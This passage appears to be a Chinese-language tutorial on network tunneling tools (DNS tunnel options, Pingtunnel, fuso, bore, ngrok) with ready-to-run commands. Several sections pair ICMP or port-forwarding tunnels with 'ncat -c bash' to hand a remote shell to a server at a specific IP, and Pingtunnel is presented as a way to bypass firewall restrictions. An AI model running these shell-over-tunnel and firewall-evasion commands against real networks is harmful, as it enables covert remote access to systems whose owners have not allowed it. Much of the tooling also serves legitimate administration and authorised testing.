-O 强制下游编码-T除NULL: Base32, Base64, Base64u,Base128,或(仅限TXT:) Raw(默认值:autodetect)
-I 最大请求间隔(默认4秒),以防止DNS超时
-L 1:使用延迟模式低延迟(默认)。0:不(暗示- 1)
-m 下行分片的最大大小(默认为autodetect)
-M 上游主机名的最大大小(~100-255,默认值:255)
-r 跳过原始UDP模式的尝试
-P 用于身份验证的-P密码(最多使用32个字符)
其他选项:
-v打印版本信息并退出
-h打印帮助并退出
-f保持在前台运行
-u name删除权限并以用户name运行
-t dir to chroot to dir目录
-d device设置隧道设备名称
-z context,用于初始化后应用指定的SELinux上下文
-F pidfile将pid写入文件
|
Pingtunnel
功能
- 建立 ping (icmp)隧道
- 绕过防火墙网络限制
安装
1 2
| 安装:https: 或者使用包管理器:apt,pacman,brew
|
使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 建立 socks5隧道 服务器端 sudo pingtunnel -type server -key 123456 -nolog 1 -noprint 1
客户端 建立 socks5 隧道,会在客户端监听8090为socks5隧道与服务器端通信,使用icmp协议 sudo pingtunnel -type client -l :8090 -s 服务器端ip -key 123456 -sock5 1 -nolog 1 -noprint 1
建立 http 隧道 服务器端 sudo pingtunnel -type server -key 123456 -nolog 1 -noprint 1 并且在服务器端监听一个 http 隧道 使用文章中提到的 glider glider -listen 127.0.0.1:8090
客户端 客户端与服务端连接,并且将本地的8090端口的流量发送到服务器端的 8090端口,服务器端8090为http隧道。使用icmp协议建立隧道 sudo pingtunnel -type client -l :8090 -s 服务器端ip -t 127.0.0.1:8090 -key 123456 -tcp 1 -nolog 1 -noprint 1
UDP 转发 sudo pingtunnel -type client -l :8090 -s 服务器端ip -t 服务器端ip:4455
|
1 2 3 4 5 6 7 8 9
| 服务器端 sudo pingtunnel -type server -key 123456 -nolog 1 -noprint 1 ncat -vnlp 8090 -k 服务器端使用pingtunnel 建立icmp服务端,随后使用ncat 监听一个端口,等待客户端ncat连接。
客户端 sudo pingtunnel -type client -l :8090 -s 139.180.189.48 -t 127.0.0.1:8090 -key 123456 -tcp 1 -nolog 1 -noprint 1 ncat -vn 127.0.0.1 8090 -c bash 客户端连接上服务器端的icmp隧道,使用ncat连接8090.开启bash。服务器端ncat会受到请求。可直接执行命令。
|
fuso
功能
- 端口转发
- socks5 代理
- 加密压缩传输
- 级联代理
- kcp 支持
安装
使用
1 2 3 4 5 6 7 8 9 10
| **服务端** 服务端监听 0.0.0.0(所有ip,默认),监听6767端口,开启socks,开启udp转发。 sudo ./fus -l 0.0.0.0 -p 6767 --enable-socks true --enable-ufd true
**客户端** 客户端指定连接ip(服务器ip),指定服务器端口,指定转发的本地ip地址127.0.0.1 ,和本地端口8090,指定映射在服务器端的端口为8090 sudo ./fuc 139.180.189.48 6767 --forward-host 127.0.0.1 --forward-port 8090 --visit-bind-port 8090
随后在服务器端,访问服务器本地的8090就相当于访问客户端的转发端口,8090。可以设置转发绑定在本地端口的任何服务。如ssh,隧道等等。
|
1 2 3 4
| **利用映射端口配合 ncat 反弹shell**
客户端执行 ncat -vnlp 8090 -c bash 服务端执行 ncat -vn 127.0.0.1 8090
|
1 2 3 4 5 6 7 8
| 服务端 sudo ./fus -l 0.0.0.0 -p 6767 --enable-socks true --enable-ufd true
客户端 开启socks 开启socks udp ,设置账号,密码。 sudo ./fuc 139.180.189.48 6767 --forward-host 127.0.0.1 --socks --socks-udp --socks-username admin --socks-password passwd --visit-bind-port 8090
服务器端配置 socks5 隧道就可以使用客户端网络连接。
|
Bore
安装
功能
使用
1 2 3 4 5 6 7 8 9
| 服务端 bore server -s passwd 执行后开启服务,设置密码,服务会监听到7835端口
客户端 bore local -l 127.0.0.1 8090 -t 服务器ip -p 8090 -s passwd 执行后将本地8090端口转发到服务器的8090 端口。
可以转发所有服务,例如 ssh,socks5隧道,http隧道等等。
|
1 2 3 4 5 6 7 8
| http / socks5 隧道 客户端使用文章中提到glider 监听隧道 glider -listen :8090 -verbose bore local -l 127.0.0.1 8090 -t 服务器ip -p 8090 -s passwd
服务端配置后可实现连接内网客户端隧道。 bore server -s passwd 随后配置127.0.0.1 8090 为socks5 或者 http 隧道。
|
1 2 3 4 5 6 7 8 9
| 客户端 ncat -vnlp 8090 -c bash bore local -l 127.0.0.1 8090 -t 服务器ip -p 8090 -s passwd
服务端 ncat -vn 127.0.0.1 8090 bore server -s passwd
通过ncat 建立shell。通过 bore 进行流量隧道转发。
|
bore.pub
1 2 3 4 5 6 7
| 官方托管了一个公共服务器 bore.pub ,可以直接指定为服务器进行连接。
例如: 将本地8090,转发到 bore.pub 的8090 bore local -l 127.0.0.1 8090 -t bore.pub -p 8090
不指定端口号的话会随机在bore.pub上连接一个端口。
|
Ngrok
功能
安装
brew install ngrok/ngrok/ngrok
yay -S aur/ngrok
choco install ngrok
apt install ngrok
基本使用
- 登陆官网
- 注册账户
ngrok config add-authtoken <TOKEN>
指定token连接
ngrok http http://localhost:8080
启动,将本地8080 端口转发到ngrok 官方服务器。执行后会显示随机分配的域名地址。
ngrok http http://localhost:8080 --oauth=google --oauth-allow-email=alan@example.com
添加google 认证,防止任何人都能访问。
ngrok http [http://localhost:8080](http://localhost:8080/) --basic-auth 'username:passwd12345678'
添加账户密码基本身份认证,:分割账号密码。
ngrok http [file:///var/log](file:///var/log)
开启一个http文件服务,类似与 pythom -m http.server
ngrok tcp 22
使用 tcp 协议转发22端口,ssh服务。或者使用3389等公开rdp,公开vnc等等。
Over 。 。 。☺️
Over 。 。 。☺️
Over 。 。 。☺️
Over 。 。 。☺️
Over 。 。 。☺️